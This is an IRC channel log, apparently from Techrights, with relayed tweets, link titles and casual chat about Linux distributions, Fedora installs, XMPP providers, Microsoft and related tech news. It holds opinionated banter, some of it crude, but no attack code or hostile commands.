schestowitzhttps://twitter.com/fth_nix/status/572524571615748097  https://twitter.com/Messgorough/status/572523337206906880  https://twitter.com/SleepyPenguin1/status/572523194856448001Mar 11 13:42
MinceRlooks like mozilla is going out of touchMar 11 13:42
schestowitzhttps://twitter.com/fth_nix/status/572521682264592384 https://twitter.com/SleepyPenguin1/status/572519813257560064 https://twitter.com/fth_nix/status/572518046205673475Mar 11 13:42
schestowitzhttps://twitter.com/SleepyPenguin1/status/572517248822353920  https://twitter.com/fth_nix/status/572516644976795648 https://twitter.com/SleepyPenguin1/status/572516151252660224   https://twitter.com/SleepyPenguin1/status/572515825451728896Mar 11 13:42
schestowitzhttps://twitter.com/fth_nix/status/572515731012771840  https://twitter.com/fth_nix/status/572515555112050688    https://twitter.com/SleepyPenguin1/status/572514811369676801    https://twitter.com/fth_nix/status/572514431659327488Mar 11 13:42
-TechrightsBot-tr/#techrights-@jblck: @schestowitz This is a very old #Ubuntu feature. Some thoughts on the issue from back in 2012 here https://t.co/WXhqFkfdODMar 11 13:43
-TechrightsBot-tr/#techrights--> jsphblck.wordpress.com | Ubuntu 12.04 Precise Pangolin – Hello Unity | Quotidian mundanity. Verbalised.Mar 11 13:43
-TechrightsBot-tr/#techrights-@ABridgwater: @schestowitz I'm really not sure why I wasn't following you back - many apologiesMar 11 13:43
-TechrightsBot-tr/#techrights-@fth_nix: @SleepyPenguin1 @ruskin147 @schestowitz What's life without adventure ;D The code's there to pick up any time! The gnu's time will come!Mar 11 13:43
-TechrightsBot-tr/#techrights-@Messgorough: @schestowitz Also both liars with products overcharged, overhyped and full of poisonous rubbish.Mar 11 13:43
-TechrightsBot-tr/#techrights-@SleepyPenguin1: @fth_nix @schestowitz @ruskin147 I might be travelling later this year. That's when it usually happens. Go walkabout in the skies around us.Mar 11 13:43
-TechrightsBot-tr/#techrights-@fth_nix: @SleepyPenguin1 @schestowitz @ruskin147 It is a bit of thing getting time to do any of these things. Research project computer studies maybeMar 11 13:43
-TechrightsBot-tr/#techrights-@SleepyPenguin1: @fth_nix @schestowitz @ruskin147 I'm used to steep learning curves. But I think I'm short on time.Mar 11 13:43
-TechrightsBot-tr/#techrights-@fth_nix: @SleepyPenguin1 @schestowitz @ruskin147 Aww I'm gonna have to learn this stuff!!!Mar 11 13:43
-TechrightsBot-tr/#techrights-@SleepyPenguin1: @fth_nix @schestowitz @ruskin147 It is.I remember a few times over thirty years when some of us finally worked it out and made a difference.Mar 11 13:43
-TechrightsBot-tr/#techrights-@fth_nix: @SleepyPenguin1 @schestowitz @ruskin147 Great when you get over a bump tho innit? <hyperthread> https://t.co/j1AvoOa8qFMar 11 13:43
-TechrightsBot-tr/#techrights--> www.gnu.org | multithreadingMar 11 13:43
-TechrightsBot-tr/#techrights-@SleepyPenguin1: @fth_nix @schestowitz @ruskin147 Not sure. Might have been. But with the advent of ARM processors and Raspberry Pi things change.Mar 11 13:43
-TechrightsBot-tr/#techrights-@SleepyPenguin1: @fth_nix @schestowitz @ruskin147 I was working on it. But. Some developers put me off. Could try again but it's a long uphill slog...Mar 11 13:43
-TechrightsBot-tr/#techrights-@fth_nix: @SleepyPenguin1 @schestowitz @ruskin147 wasn't it capable of multithread pre dual core???Mar 11 13:43
-TechrightsBot-tr/#techrights-@fth_nix: @SleepyPenguin1 @schestowitz @ruskin147 If I could just work out how to code some kernel...Mar 11 13:43
-TechrightsBot-tr/#techrights-@SleepyPenguin1: @fth_nix @schestowitz @ruskin147 True enough.. but.. lot of cynical mailing list traffic. Over many years. We can only hope...Mar 11 13:43
-TechrightsBot-tr/#techrights-@fth_nix: @SleepyPenguin1 @schestowitz @ruskin147 RMS may yet see a migration to HURD ; D Another successful #open kernel would be great.Mar 11 13:43
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MinceRhttp://blog.dilbert.com/post/113340087216/is-it-healthier-to-be-republican#_=_Mar 11 16:02
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TweetTuxMachines@tuxmachines     On the Linux Kernel’s Code of ConflictMar 11 16:27
TweetTuxMachines                 http://t.co/RkF4MbC8GCMar 11 16:27
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-TechrightsBot-tr/#techrights-www.linuxfoundation.org | On the Linux Kernel’s Code of Conflict | The Linux FoundationMar 11 16:27
TweetTuxMachines........................................  http://ur1.ca/jw3mjMar 11 16:27
TweetTuxMachines@tuxmachines     Virginia Tech's Linux Laptop Orchestra puts aMar 11 16:27
TweetTuxMachines                 new twist on orchestral musicMar 11 16:27
TweetTuxMachines                 http://t.co/PgPWYxs2e9Mar 11 16:27
TweetTuxMachines                 (www.diamondbackonline.com)Mar 11 16:27
-TechrightsBot-tr/#techrights-www.diamondbackonline.com | Virginia Tech's Linux Laptop Orchestra puts a new twist on orchestral music - The Diamondback : MusicMar 11 16:27
TweetTuxMachines........................................  http://ur1.ca/jw3mkMar 11 16:27
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TweetTuxMachines@tuxmachines     On the Linux Kernel’s Code of ConflictMar 11 18:01
TweetTuxMachines                 http://t.co/TmgIhLBcxp (www.tuxmachines.org)Mar 11 18:01
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-TechrightsBot-tr/#techrights-www.tuxmachines.org | On the Linux Kernel’s Code of Conflict | Tux MachinesMar 11 18:01
TweetTuxMachines@tuxmachines     A Developer’s Eye View of Bodhi 3.0.0Mar 11 18:01
TweetTuxMachines                 http://t.co/4jUiSKi1SV (www.tuxmachines.org)Mar 11 18:01
TweetTuxMachines........................................  http://ur1.ca/jw47xMar 11 18:01
-TechrightsBot-tr/#techrights-www.tuxmachines.org | A Developer’s Eye View of Bodhi 3.0.0 | Tux MachinesMar 11 18:01
TweetTuxMachines@tuxmachines     Virginia Tech's Linux Laptop Orchestra puts aMar 11 18:01
TweetTuxMachines                 new twist on orchestral musicMar 11 18:01
TweetTuxMachines                 http://t.co/UxIgKVQesg (www.tuxmachines.org)Mar 11 18:01
TweetTuxMachines........................................  http://ur1.ca/jw47yMar 11 18:01
-TechrightsBot-tr/#techrights-www.tuxmachines.org | Virginia Tech's Linux Laptop Orchestra puts a new twist on orchestral music | Tux MachinesMar 11 18:01
schestowitz__https://joindiaspora.com/posts/5704769Mar 11 18:53
-TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: Authority without challenge is tyranny https://pod.readme.is/uploads/images/scaled_full_e67e39fac48459427c18.jpgMar 11 18:53
schestowitz__"Most citizens prefer to only vote once every few years and blame the government of everything."Mar 11 18:54
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abeNd-orgmost citizens don't have the time to care outside of their own little sphere of "life"Mar 11 19:05
TweetTuxMachines@tuxmachines     Sitara AM437x dev kit targets Linux-basedMar 11 19:21
TweetTuxMachines                 industrial apps http://t.co/AmNXMTTVwHMar 11 19:21
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-TechrightsBot-tr/#techrights-linuxgizmos.com | Sitara AM437x dev kit targets Linux-based industrial apps ·  LinuxGizmos.comMar 11 19:21
TweetTuxMachines........................................  http://ur1.ca/jw4okMar 11 19:21
TweetTuxMachines@tuxmachines     The Entroware 'Proteus' Gaming Laptop, ReviewedMar 11 19:21
TweetTuxMachines                 For Linux https://t.co/NU7jFKKSzdMar 11 19:21
TweetTuxMachines                 (www.gamingonlinux.com)Mar 11 19:21
TweetTuxMachines........................................  http://ur1.ca/jw4onMar 11 19:21
-TechrightsBot-tr/#techrights-www.gamingonlinux.com | The Entroware 'Proteus' Gaming Laptop, Reviewed For Linux | GamingOnLinuxMar 11 19:21
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BatmiteHi Roy,Mar 11 19:43
BatmiteHi Roy, we are missing your  comments in relation to the EPO issues. When will you  be back?Mar 11 19:45
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schestowitz> Would ssh-guard or fail2ban work for WordPress?Mar 11 20:50
schestowitz> Mar 11 20:50
schestowitz> I would consider the two Apache modules I mentioned before.  The oneMar 11 20:50
schestowitz> would help reduce the load on the backend db.Mar 11 20:50
schestowitzI have not enabled fail2ban for about a month because the DDOS subsided and fail2ban bans some legit visitors.Mar 11 20:50
schestowitz Mar 11 20:50
schestowitz> I hope the trip went well.Mar 11 20:50
schestowitzYes, half the photos are now in http://schestowitz.com/royrianne/gallery/index.php/Mar 11 20:50
-TechrightsBot-tr/#techrights-schestowitz.com | Roy and Rianne's Wedding and Beyond [ http://ur1.ca/e25rf ]Mar 11 20:50
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schestowitzhttps://twitter.com/gnutelephony/status/575777389881380866Mar 11 23:28
-TechrightsBot-tr/#techrights-@gnutelephony: @symantec @jmcest @schestowitz this was likely not "accidental"...Mar 11 23:28
schestowitzhttps://joindiaspora.com/p/5727299Mar 12 02:10
-TechrightsBot-tr/#techrights-joindiaspora.com | #Wireshark , Worl...Mar 12 02:11
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schestowitzhttps://twitter.com/anne_elliot2/status/575842095379841024Mar 12 02:46
-TechrightsBot-tr/#techrights-@anne_elliot2: @jmcest @schestowitz meaninglessness of mathematics https://t.co/vC8LROw2pK Godels theorems end in meaninglessness http://t.co/6sWlPnI4d6Mar 12 02:46
-TechrightsBot-tr/#techrights--> www.scribd.com | Mathematics Ends in Meaninglessness ie self-contradictionMar 12 02:46
cubexyzuh :)Mar 12 03:20
cubexyzok, you might have heard of Ludwig Plutonium?Mar 12 03:21
cubexyzColin Leslie Dean is in the same categoryMar 12 03:21
cubexyzhttp://pricegems.com/blog/pricegems/Dean_v._Godel.htmlMar 12 03:25
-TechrightsBot-tr/#techrights-pricegems.com | Rebuttal of Colin Leslie Dean’s Article Entitled: “Case Study in the Meaninglessness of All Views” by Aaron Hastings [ http://ur1.ca/jw756 ]Mar 12 03:25
cubexyzok, short form: Godel realized that truth in number theory cannot be defined in number theory"Mar 12 03:29
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cubexyzthese smart watches, I don't know...Mar 12 03:48
cubexyz7 day battery life doesn't seem too greatMar 12 03:49
cubexyzmy radio shack stopwatch usually gets 4+ years from one batteryMar 12 03:49
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schestowitz__MinceR: could you please email me 2 weeks' logs for the 4 channels (I'll turn them into IRC logs this weekend)Mar 12 08:26
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__martin__http://www.itworld.com/article/2894936/googles-angular-2-being-built-with-microsofts-typescript.htmlMar 12 12:25
-TechrightsBot-tr/#techrights-www.itworld.com | Google's Angular 2 being built with Microsoft's TypeScript | ITworldMar 12 12:25
__martin__https://www.edx.org/press/edx-collaborates-microsoft-launch-itMar 12 12:30
-TechrightsBot-tr/#techrights-www.edx.org | EdX collaborates with Microsoft to Launch IT Development Courses | edX [ http://ur1.ca/jw98x ]Mar 12 12:30
__martin__http://hardware.slashdot.org/story/15/03/11/1648243/why-we-need-free-digital-hardware-designs vs. http://hardware.slashdot.org/story/15/03/11/0232213/open-source-hardware-approaching-critical-massMar 12 12:30
-TechrightsBot-tr/#techrights-hardware.slashdot.org | Why We Need Free Digital Hardware Designs - Slashdot [ http://ur1.ca/jw991 ]Mar 12 12:30
-TechrightsBot-tr/#techrights-hardware.slashdot.org | Open Source Hardware Approaching Critical Mass - Slashdot [ http://ur1.ca/jw992 ]Mar 12 12:30
__martin__terminology hellMar 12 12:30
__martin__where in heads of gov't representatives come all those ideas to censor the net? is it all about power control and money or there is some higher secretive sense involved? have aliens finally landed? xDMar 12 12:32
__martin__bitcoin = tax evasion -> must be banned altogether without burreau permission = californiaMar 12 12:33
__martin__also "rowhammer" bug marketing, just wtf (=Mar 12 12:35
__martin__but stupid heads will never comprehend why stallman used so long a loongson chip while there wasn't a x86 laptop with ME/AMT disabled properlyMar 12 12:36
__martin__still, funny how AMD cpus are less prone to DDR3 attackMar 12 12:37
__martin__m$ evangelists say: http://arstechnica.com/security/2015/03/guardian-backtracks-says-whisper-doesnt-spy-on-its-users-after-all/Mar 12 12:39
-TechrightsBot-tr/#techrights-arstechnica.com | Guardian backtracks, says Whisper doesn’t spy on its users after all | Ars Technica [ http://ur1.ca/jw9a7 ]Mar 12 12:39
cubexyzlook for the vPro logo, NOT :)Mar 12 12:42
__martin__http://blogs.technet.com/b/server-cloud/archive/2015/03/10/microsoft-extends-commitment-to-open-compute-project.aspxMar 12 12:43
-TechrightsBot-tr/#techrights-blogs.technet.com | Microsoft Extends Commitment to Open Compute Project - Microsoft Server and Cloud Platform Blog - Site Home - TechNet Blogs [ http://ur1.ca/jw9az ]Mar 12 12:43
__martin__word "open" is just raped enough Mar 12 12:43
__martin__3f:02.3 Host bridge: Intel Corporation 1st Generation Core Processor Reserved (rev 02)Mar 12 12:45
__martin__cubexyz: (=Mar 12 12:45
__martin__todayMar 12 12:45
__martin__argued with PhD assistant in classMar 12 12:45
__martin__dafuq he uploaded presentation in *.pps Mar 12 12:46
__martin__cos libreoffice on trisquel won't even read, bitches about passwordMar 12 12:46
__martin__so he started pdf apologism due to effects inside et al xDDDMar 12 12:46
__martin__(I mean he is PhD am not even a Bachelor, perhaps never will be)Mar 12 12:47
cubexyzI actually prefer tarball's of jpg/png to PDFMar 12 12:48
cubexyzany conversion may reduce qualityMar 12 12:48
__martin__people here dunno PNG formatMar 12 12:48
__martin__;DMar 12 12:48
cubexyzand pps isn't on the radar :)Mar 12 12:48
__martin__btw btwMar 12 12:49
__martin__on a first super boring class todayMar 12 12:49
__martin__an old dell-backdoored desktop of professor with XP on itMar 12 12:49
__martin__patched itself and rebooted Mar 12 12:50
__martin__best moment of a classMar 12 12:50
__martin__xDMar 12 12:50
__martin__and on a last third lectureMar 12 12:50
__martin__another XP box hidden in a large desk tried to resolve this IP lan conflict for the whole duration and NOD32 (product of my country) popped red tooltips cos' of skipping heuristics updateMar 12 12:52
cubexyzI would assume any good tech school would have someone knowledgeable enough to run FOSS firmware and FOSS operating systemMar 12 12:53
cubexyzafter all that's where a lot of OSes came fromMar 12 12:54
__martin__yeah the most prominent I mean visible admin shows up everywhere with his iGrownMar 12 12:54
__martin__floss not welcome in hereMar 12 12:54
cubexyzwhere is here?Mar 12 12:55
__martin__even virtual printer defaults to crippled xps instead of pdfMar 12 12:55
__martin__http://tuzvo.sk/Mar 12 12:55
-TechrightsBot-tr/#techrights-Couldn't resolve host 'tuzvo.sk' ( status 0 @ http://tuzvo.sk/ )Mar 12 12:55
__martin__add www.Mar 12 12:55
__martin__xDMar 12 12:55
__martin__been before at http://fei.tuke.sk/ there we got at least a decent moodle set-up and professors advising fedora usageMar 12 12:56
-TechrightsBot-tr/#techrights-fei.tuke.sk | FEI FakultaMar 12 12:56
__martin__time to save up money for parents and quit on the meaningless studiesMar 12 12:56
cubexyzformer yugoslavia, interestingMar 12 12:56
XRevan86https://youtube.com/watch?v=EcH4aHOjnGoMar 12 12:57
-TechrightsBot-tr/#techrights-www.youtube.com | Magnifico - Land of Champions - Director's cut - YouTubeMar 12 12:57
cubexyzI used to really like fedoraMar 12 12:58
XRevan86cubexyz: Since you've mentioned Yugoslavia.Mar 12 12:58
__martin__well today am gonna replace f21 amd desktop at parents' with f22 alphaMar 12 13:00
__martin__also want to try that wine staging with that d3d state trackerMar 12 13:01
__martin__you guys open up your wifi for neighbours?Mar 12 13:02
cubexyza Solevenian arrangement of House of the Rising Sun? :)Mar 12 13:05
__martin__Greek unemployment rate increased to 26.1% && basic income nowhere to realityMar 12 13:05
cubexyzSlovenianMar 12 13:05
__martin__slovenia's TLD is .slMar 12 13:05
cubexyzXRevan86, neat videoMar 12 13:06
XRevan86cubexyz: YeahMar 12 13:06
cubexyzright, I should have said former Czechoslovakia, my mistakeMar 12 13:07
__martin__np, artifical borders do not matterMar 12 13:08
cubexyzI've forgotten a lot :)Mar 12 13:08
__martin__(=Mar 12 13:08
__martin__cial*Mar 12 13:08
__martin__schestowitz__: how much does a beer cost in Singapore?Mar 12 13:09
__martin__(asking because czechs consider it both a drink and a meal xDD)Mar 12 13:09
cubexyzI'm from Canada, we have OpenBSD and Vector Linux :)Mar 12 13:11
cubexyznot sure what XRevan86 usesMar 12 13:11
XRevan86cubexyz: openSUSE :)Mar 12 13:11
cubexyzsomething x86 I'm sureMar 12 13:11
XRevan86Packard Bell (Acer) TE11HCMar 12 13:11
XRevan86* EasyNote TE11HCMar 12 13:12
cubexyzthe weird thing was, I just picked OpenBSD and Vector Linux by chanceMar 12 13:12
cubexyzdidn't even realize they were Canadian distrosMar 12 13:12
XRevan86I know only one good Russian distro: CalculateMar 12 13:12
XRevan86http://calculate-linux.org/Mar 12 13:13
-TechrightsBot-tr/#techrights-www.calculate-linux.org | Calculate LinuxMar 12 13:13
__martin__XRevan86: cubexyz: https://www.youtube.com/watch?v=DCbiJVGPob8Mar 12 13:13
-TechrightsBot-tr/#techrights-www.youtube.com | Miloš Zeman - Kunda sem, kunda tam, remix - YouTube [ http://ur1.ca/jw9er ]Mar 12 13:13
cubexyzunfortunately my country is blocked from that videoMar 12 13:14
XRevan86__martin__: Can't watch anything now, I'll reply when it'll be most inconvinient for you :DMar 12 13:14
__martin__perhaps that is fortunate (=Mar 12 13:14
XRevan86Isn't blocked in "my" country (British IP, VPN)Mar 12 13:15
__martin__oh ye, region locks, because humans are three/four/five different species =DMar 12 13:16
cubexyza pity, I found out I have to take Chromebox apart to set developer modeMar 12 13:18
XRevan86cubexyz: Now all your data from /home is wiped out?Mar 12 13:19
cubexyzXRevan86, lol no, I haven't even bought it yet Mar 12 13:19
__martin__xDMar 12 13:19
cubexyzjust doing research Mar 12 13:19
XRevan86cubexyz: Ah :)Mar 12 13:19
cubexyzASUS/HP/Dell versions are a bit easier to work on thoughMar 12 13:20
cubexyzAcer is a bit harderMar 12 13:20
__martin__I wish for Pixel like sub-notebook 13" with libreboot, Debian/Devuan, tor daemon from start and pricetag 333€ (=Mar 12 13:21
__martin__all the HW in use is +-2010 atmMar 12 13:21
cubexyzha, you should see my computer roomMar 12 13:22
cubexyztons of old stuffMar 12 13:22
__martin__nvidia riva tnt2 - being the oldest horsepower chip in family cellars xDMar 12 13:24
__martin__i remember my old-selfMar 12 13:24
__martin__wanting so much to try some voodoo/3dfx gpu =DMar 12 13:24
cubexyzI think I have one :)Mar 12 13:24
__martin__also want to askMar 12 13:25
__martin__when i use this firefox os zte device without simMar 12 13:25
__martin__how often does it pings closest base station, just at cold starts and shutdowns or?Mar 12 13:26
__martin__(since there is this "emergency feature")Mar 12 13:26
__martin__ping*Mar 12 13:27
__martin__[putting aside that i use eduroam credentials with my surname involved]Mar 12 13:28
cubexyzI only use land lineMar 12 13:29
cubexyzif someone wants to reach me use email :)Mar 12 13:29
__martin__only my closest friends of ol' are keen on mails =DMar 12 13:30
XRevan86If someone wants to reach me use XMPP :).Mar 12 13:30
__martin__well, sadly fb/goog silos don't federate xDMar 12 13:31
__martin__instead of writing me through pidgin with otr enabled, ex-girlfriend visited me by footMar 12 13:31
__martin__women logicMar 12 13:31
__martin__pgp/gpg is out of topicMar 12 13:33
__martin__could have brought to use it just a best friend who is certified cisco manwhoreMar 12 13:33
__martin__XRevan86: ofc i think the future should be self-hosted, but i suppose you use some jabber providerMar 12 13:34
cubexyzwhat is Caculate Linux Scratch? just tty stuff?Mar 12 13:34
cubexyzcalculateMar 12 13:35
XRevan86__martin__: No, I self-host it.Mar 12 13:35
XRevan86cubexyz: YeahMar 12 13:36
__martin__had account via jabbim.cz/sk/pl thou whole passwd dump in plaintext got leakedMar 12 13:36
XRevan86I usually advise jabber.zone provider.Mar 12 13:37
__martin__so i stick with xmpp.jp riseup.net (eyed dukgo.com once)Mar 12 13:37
cubexyzeasier to just download from yandex Mar 12 13:39
cubexyztorrent seems deadMar 12 13:40
XRevan86Yandex provides a good mirror for almost every distro.Mar 12 13:40
__martin__yup, even for parabol gnuMar 12 13:41
__martin__parabola*Mar 12 13:41
__martin__https://soylentnews.org/article.pl?sid=15/03/10/1327254Mar 12 13:43
-TechrightsBot-tr/#techrights-soylentnews.org | Millions of Modern Men Found to be Descendants of 11 Asian Dynastic Leaders. - SoylentNews [ http://ur1.ca/jw9j7 ]Mar 12 13:43
__martin__see you folks later, thanks for smalltalkMar 12 13:43
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cubexyzI'd love there to be an archive with all the distrosMar 12 13:46
msb_I just want one good distro without systemd, with KDE3/Trinity, with good support.Mar 12 14:01
cubexyzthere's Trinity for Debian WheezyMar 12 14:05
cubexyzthere's even a slackware trinity repositoryMar 12 14:06
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MinceRschestowitz__: sure, i'll get around to it eventuallyMar 12 14:55
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MinceRgeekingsMar 12 15:51
XRevan86MinceR: hiMar 12 15:52
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schestowitz__MinceR: no rush, cheers mate!Mar 12 17:02
MinceR:)Mar 12 17:02
MinceRhttp://www.szeretlekmagyarorszag.hu/wp-content/uploads/2014/04/truth-facts-funny-graphs-wumo-1.jpgMar 12 17:25
schestowitz__[13:10] <__martin__> schestowitz__: how much does a beer cost in Singapore?Mar 12 18:17
schestowitz__not too badMar 12 18:17
schestowitz__except for their own national drinkMar 12 18:17
schestowitz__but much cheaper in UKMar 12 18:18
schestowitz__(I know he's away)Mar 12 18:18
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XRevan86__martin__: Modern Talking!Mar 12 19:32
XRevan86__martin__: I freaking love MTMar 12 19:32
XRevan86__martin__: it's a pity you're not online and will never see all I wroteMar 12 19:33
XRevan86cubexyz: Video __martin__ posted to me and you which is not available in your country.Mar 12 19:34
MinceRMediaHint may helpMar 12 19:34
MinceRor youtube-dlMar 12 19:34
XRevan86an odd talking disposed over this music: https://youtube.com/watch?v=4kHl4FoK1YsMar 12 19:34
-TechrightsBot-tr/#techrights-www.youtube.com | Modern Talking - You're My Heart, You're My Soul - YouTubeMar 12 19:35
XRevan86> (16:13:19) __martin__: XRevan86: cubexyz: https://youtube.com/watch?v=DCbiJVGPob8Mar 12 19:35
-TechrightsBot-tr/#techrights-www.youtube.com | Miloš Zeman - Kunda sem, kunda tam, remix - YouTubeMar 12 19:35
XRevan86MinceR: or even SaveFrom.netMar 12 19:36
DaemonFCRyan FarmerMar 12 19:42
DaemonFCJust now · Mar 12 19:42
DaemonFCI ran into an article showing how people who made the mistake of buying an iPhone can use a smartwatch today by buying Android Wear and shimming support for it over Bluetooth while waiting forever for Apple to release a more expensive watch that does less and has half the battery life, while alerting thieves that there might be $1,000 worth of Apple products and large sums of cash and high limit credit cards on the person. smile emoticonMar 12 19:42
DaemonFC(And presumably, other problems. Maybe even a non-recall recall, where Apple blames you for pissing on their shining jewel of perfection, and then offers to replace it anyway. *grin*.)Mar 12 19:42
MinceRor they could save money by buying a real smartphone :>Mar 12 19:43
MinceRhttps://www.youtube.com/watch?v=KHZ8ek-6cccMar 12 19:43
-TechrightsBot-tr/#techrights-www.youtube.com | Apple Engineer Talks about the New 2015 Macbook - YouTube [ http://ur1.ca/jwbv0 ]Mar 12 19:43
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DaemonFChttp://www.alternet.org/personal-health/new-study-homeopathy-not-effective-treating-any-conditionMar 12 20:22
-TechrightsBot-tr/#techrights-www.alternet.org | New Study: Homeopathy Not Effective for Treating Any Condition | Alternet [ http://ur1.ca/jwc7r ]Mar 12 20:22
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schestowitz>>> >> http://arstechnica.com/information-technology/2015/03/the-ambassador-who-worked-from-nairobi-bathroom-to-avoid-state-dept-it/Mar 12 20:36
-TechrightsBot-tr/#techrights-arstechnica.com | The Ambassador who worked from a Nairobi bathroom to avoid State Dept. IT | Ars Technica [ http://ur1.ca/jw8xp ]Mar 12 20:36
schestowitz>>> >> Mar 12 20:36
schestowitz>>> >> The role of M$ shit in all this needs to be raised, if there.Mar 12 20:36
schestowitz>> > Mar 12 20:36
schestowitz>> > Any proof/clues?Mar 12 20:36
schestowitz>> > Mar 12 20:36
schestowitz>> > Mar 12 20:36
schestowitz> Not really, but there are some clues:Mar 12 20:36
schestowitz> Mar 12 20:36
schestowitz> "... the intranet that provides the backbone for department-wide e-mailMar 12 20:36
schestowitz> and instant messaging, is dependent on aging Microsoft communicationsMar 12 20:36
schestowitz> infrastructure, including Microsoft Office Communicator for unifiedMar 12 20:36
schestowitz> voice and video communications. The State Department is in the middle ofMar 12 20:36
schestowitz> a roll-out of a new Office desktop environment (Office 2010), and that’sMar 12 20:36
schestowitz> broken unified communications for some users in the process—since LyncMar 12 20:36
schestowitz> clients"Mar 12 20:36
schestowitz> Mar 12 20:36
schestowitz> http://www.ukprogressive.co.uk/the-ambassador-who-worked-from-nairobi-bathroom-to-avoid-state-dept-it/article36846.htmlMar 12 20:36
-TechrightsBot-tr/#techrights-www.ukprogressive.co.uk | The Ambassador who worked from Nairobi bathroom to avoid State Dept. IT | UK ProgressiveMar 12 20:36
schestowitz> Mar 12 20:36
schestowitz> That shit just doesn't work which is probably why he used Gmail.Mar 12 20:36
schestowitz> However the M$ friendly press and State Dept would be the last ones onMar 12 20:36
schestowitz> Earth to point to disappointing functionality and reliability with M$ shit.Mar 12 20:36
schestowitzInteresting to know what he was avoiding. Gmail does not offer much more privacy than MS.Mar 12 20:36
schestowitz> And a clue from the above article:Mar 12 20:37
schestowitz> Mar 12 20:37
schestowitz> "In 2011, according to an Inspector General report, the department wasMar 12 20:37
schestowitz> still struggling to properly implement Federal Information SecurityMar 12 20:37
schestowitz> Management Act (FISMA) and Office of Management and Budget mandatedMar 12 20:37
schestowitz> requirements for information security. Since then, State DepartmentMar 12 20:37
schestowitz> unclassified e-mail has been the target of multiple data breaches,Mar 12 20:37
schestowitz> including one by some reports has been ongoing since last fall.Mar 12 20:37
schestowitz> Mar 12 20:37
schestowitz> --Mar 12 20:37
schestowitz> Mar 12 20:37
schestowitz> Data breaches will happen as long as they still run M$ shit.Mar 12 20:37
schestowitzNow that Gmail is so secure either. He didn't opt for FOSS, just a different 'cloud' vendor.Mar 12 20:37
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__martin__backMar 12 20:56
__martin__so my fedora 22 install attempt ended before it started xDMar 12 20:56
__martin__https://github.com/rhinstaller/blivet/pull/39 && https://bugzilla.redhat.com/show_bug.cgi?id=1196397#c21Mar 12 20:56
-TechrightsBot-tr/#techrights-github.com | Make sure the device is setup before formatting it (#1196397) by bcl · Pull Request #39 · rhinstaller/blivet · GitHub [ http://ur1.ca/jwcfb ]Mar 12 20:56
-TechrightsBot-tr/#techrights-bugzilla.redhat.com | Bug 1196397 – FormatCreateError: ('invalid device specification', '/dev/mapper/VolGroup00-LogVol00') [ http://ur1.ca/jwcfc ]Mar 12 20:57
__martin__but I wilfully clicked on "I accept my fate" warning ;DMar 12 20:57
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TweetTuxMachines@tuxmachines     Open source offline map tool for AndroidMar 13 01:45
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*TweetTuxMachines @OpenSourceRDT favourited 'Open source offline map tool for Android http://t.co/7W4xC9nDUx'Mar 13 02:24
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TweetTuxMachines@tuxmachines     today's howtos http://t.co/lMwBp2LeRmMar 13 02:34
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TweetTuxMachines@tuxmachines     "At the Linux Foundation's new Vault show, it'sMar 13 02:34
TweetTuxMachines                 all about file systems and storage."Mar 13 02:34
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-TechrightsBot-tr/#techrights-www.zdnet.com | The future of Linux storage | ZDNetMar 13 02:34
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TweetTuxMachines@tuxmachines     VMware expands desktop virtualization to LinuxMar 13 02:55
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TweetTuxMachines@tuxmachines     Rugged, wireless-enabled COM runs Linux onMar 13 02:56
TweetTuxMachines                 AM437x http://t.co/axN1IbgVQS (linuxgizmos.com)Mar 13 02:56
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-TechrightsBot-tr/#techrights-linuxgizmos.com | Rugged, wireless-enabled COM runs Linux on AM437x ·  LinuxGizmos.comMar 13 02:56
TweetTuxMachines@tuxmachines     Chakra 2015.03 Officially Released with UEFIMar 13 02:56
TweetTuxMachines                 Support, But No KDE Plasma 5Mar 13 02:56
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TweetTuxMachines@tuxmachines     New Linux Kernel Vulnerability Patched in AllMar 13 02:57
TweetTuxMachines                 Supported Ubuntu OSes http://t.co/n7xzrGuQIDMar 13 02:57
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TweetTuxMachines@tuxmachines     Automotive bus open sourced with Linux-basedMar 13 02:58
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-TechrightsBot-tr/#techrights-linuxgizmos.com | Automotive bus open sourced with Linux-based design ·  LinuxGizmos.comMar 13 02:58
TweetTuxMachines@8Cprint         @tuxmachines We liked your stuff... we'd likeMar 13 02:58
TweetTuxMachines                 to interview you for our blog is that ok?Mar 13 02:58
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TweetTuxMachines@tuxmachines     Open source offline map toolMar 13 03:06
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TweetTuxMachines@tuxmachines     Ubuntu 15.04 (Vivid Vervet) Gets a Newer LinuxMar 13 03:06
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TweetTuxMachines@tuxmachines     Black Lab Sphere Is a Unique, One of a KindMar 13 03:06
TweetTuxMachines                 Linux Desktop PC http://t.co/HmjL7TNOKWMar 13 03:06
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MinceRgnMar 13 03:49
schestowitznnMar 13 03:49
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schestowitzhttps://joindiaspora.com/posts/5694171Mar 13 04:29
-TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: Firefox OS heading for Africa — and the U.S. too http://linuxgizmos.com/firefox-os-heading-for-africa-and-the-u-s-too/ #firefox #firefoxos #mozilla #linuxMar 13 04:29
-TechrightsBot-tr/#techrights--> linuxgizmos.com | Firefox OS heading for Africa -- and the U.S. too ·  LinuxGizmos.com [ http://ur1.ca/jweij ]Mar 13 04:29
schestowitz"I love Firefox, which makes it hard for me to have to choose from Firefox OS to Ubuntu Touch, but Ubuntu is probably the most interesting of the two."Mar 13 04:29
schestowitz"all i need is normal console with linux console programs. it will make smartphone really close to pc."Mar 13 04:29
schestowitz"Mar 13 04:30
schestowitzI choose FF instead of Ubuntu (I dislike the privacy politic by Canonical)Mar 13 04:30
schestowitz@incognito If you want a smartphone really close to pc, Openphoenux this or that, ok it's ugly, tight, old, hasbeen, expensive but you can do all you want with it :) (even multiboot, bash, ssh, apt, midnight commander, compilation, ever languages available in repositories, etc)Mar 13 04:30
schestowitzYou can install some OS based on debian - QTMoko : sourceforge - SHR : Trac Builds - Debian : https://wiki.debian.org/Mobile - Replicant : http://www.replicant.us/Mar 13 04:30
schestowitzYou can hack hardware.Mar 13 04:30
-TechrightsBot-tr/#techrights-wiki.debian.org | Mobile - Debian WikiMar 13 04:30
-TechrightsBot-tr/#techrights-www.replicant.us | ReplicantMar 13 04:30
schestowitzothers informations : http://blog.slyon.de/Mar 13 04:30
-TechrightsBot-tr/#techrights-blog.slyon.de | SlyBlog | Free and Open Source Software and Hardware.Mar 13 04:30
schestowitz"Mar 13 04:30
schestowitzhttps://joindiaspora.com/posts/5717189Mar 13 04:31
